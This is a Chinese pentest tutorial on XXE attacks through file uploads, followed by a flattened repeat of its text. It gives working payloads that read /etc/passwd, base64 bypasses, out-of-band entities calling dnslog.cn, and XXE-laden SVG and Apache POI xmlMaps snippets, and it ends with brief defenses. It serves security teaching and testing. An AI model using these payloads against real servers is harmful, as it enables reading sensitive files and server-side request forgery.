XXE 在文件上传当中的应用
字数 948 2025-08-19 12:41:39

XXE在文件上传中的应用详解

1. XXE基础概念

XXE (XML External Entity) 攻击是一种利用XML解析器处理外部实体时的漏洞进行攻击的技术。攻击者可以通过构造恶意的XML文档,读取服务器上的敏感文件、发起SSRF攻击或执行其他恶意操作。

2. 有回显的XXE攻击

2.1 基本利用方式

<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY test SYSTEM 'file:///etc/passwd'> 
]>
<root>&test;</root>

2.2 Base64绕过方式

<!DOCTYPE test [
<!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk">
%init;
]>
<foo/>

3. 无回显的XXE攻击

3.1 基本利用方式

<?xml version="1.0" ?>
<!DOCTYPE root [
<!ENTITY % ext SYSTEM "http://dnslog.cn">
%ext;
]>
<r></r>

<!DOCTYPE root [
<!ENTITY test SYSTEM 'http://dnslog.cn'> 
]>
<root>&test;</root>

3.2 Base64绕过方式

<?xml version="1.0" ?>
<!DOCTYPE root [
<!ENTITY % ext SYSTEM "data://text/plain;base64,aHR0cDovL2Ruc2xvZy5jbg==">
%ext;
]>
<r></r>

4. 文件上传中的XXE利用

4.1 SVG格式中的XXE

SVG文件本质上是XML文件,可以包含XXE payload:

<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [
<!ENTITY xxe SYSTEM "http://dnslog.cn" >
]>
<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
<text font-size="16" x="0" y="16">&xxe;</text>
</svg>

4.2 DOCX格式中的XXE

DOCX文件实际上是ZIP压缩包,包含多个XML文件。可以使用工具自动注入XXE payload:

推荐工具:whitel1st/docem - 一个在docx、odt、pptx、xlsx文件中嵌入XXE和XSS payload的工具。

4.3 Excel格式中的XXE

Excel文件可能通过以下方式解析XML:

  1. Apache POI解析器
    • CVE-2014-3529:可直接使用docem工具生成payload
    • CVE-2019-12415:需要编辑xmlMaps.xml文件

对于CVE-2019-12415,可在xmlMaps.xml文件中插入:

<xsd:redefine schemaLocation="http://dnslog.cn/"></xsd:redefine>

4.4 PDF格式中的XXE

某些PDF文件包含XML标签,可以尝试插入无回显的XXE payload。

4.5 压缩文件中的XXE

  1. 压缩文件中必须包含XML文件
  2. 上传压缩文件后,在Burp Suite中抓包修改,插入XXE payload

5. 防御建议

  1. 禁用XML外部实体解析
  2. 对上传文件进行严格的内容检查
  3. 使用白名单验证文件类型
  4. 对XML解析器进行安全配置

6. 总结

在渗透测试中,应重点关注文件上传功能点,特别是:

  • 任何包含XML标签的文件格式
  • 支持SVG、DOCX、XLSX、PDF等格式的文件上传
  • 使用压缩文件上传的场景

参考来源:blackhat.com/docs/webcast/11192015-exploiting-xml-entity-vulnerabilities-in-file-parsing-functionality.pdf

XXE在文件上传中的应用详解 1. XXE基础概念 XXE (XML External Entity) 攻击是一种利用XML解析器处理外部实体时的漏洞进行攻击的技术。攻击者可以通过构造恶意的XML文档,读取服务器上的敏感文件、发起SSRF攻击或执行其他恶意操作。 2. 有回显的XXE攻击 2.1 基本利用方式 2.2 Base64绕过方式 3. 无回显的XXE攻击 3.1 基本利用方式 或 3.2 Base64绕过方式 4. 文件上传中的XXE利用 4.1 SVG格式中的XXE SVG文件本质上是XML文件,可以包含XXE payload: 4.2 DOCX格式中的XXE DOCX文件实际上是ZIP压缩包,包含多个XML文件。可以使用工具自动注入XXE payload: 推荐工具:whitel1st/docem - 一个在docx、odt、pptx、xlsx文件中嵌入XXE和XSS payload的工具。 4.3 Excel格式中的XXE Excel文件可能通过以下方式解析XML: Apache POI解析器 CVE-2014-3529:可直接使用docem工具生成payload CVE-2019-12415:需要编辑xmlMaps.xml文件 对于CVE-2019-12415,可在xmlMaps.xml文件中插入: 4.4 PDF格式中的XXE 某些PDF文件包含XML标签,可以尝试插入无回显的XXE payload。 4.5 压缩文件中的XXE 压缩文件中必须包含XML文件 上传压缩文件后,在Burp Suite中抓包修改,插入XXE payload 5. 防御建议 禁用XML外部实体解析 对上传文件进行严格的内容检查 使用白名单验证文件类型 对XML解析器进行安全配置 6. 总结 在渗透测试中,应重点关注文件上传功能点,特别是: 任何包含XML标签的文件格式 支持SVG、DOCX、XLSX、PDF等格式的文件上传 使用压缩文件上传的场景 参考来源:blackhat.com/docs/webcast/11192015-exploiting-xml-entity-vulnerabilities-in-file-parsing-functionality.pdf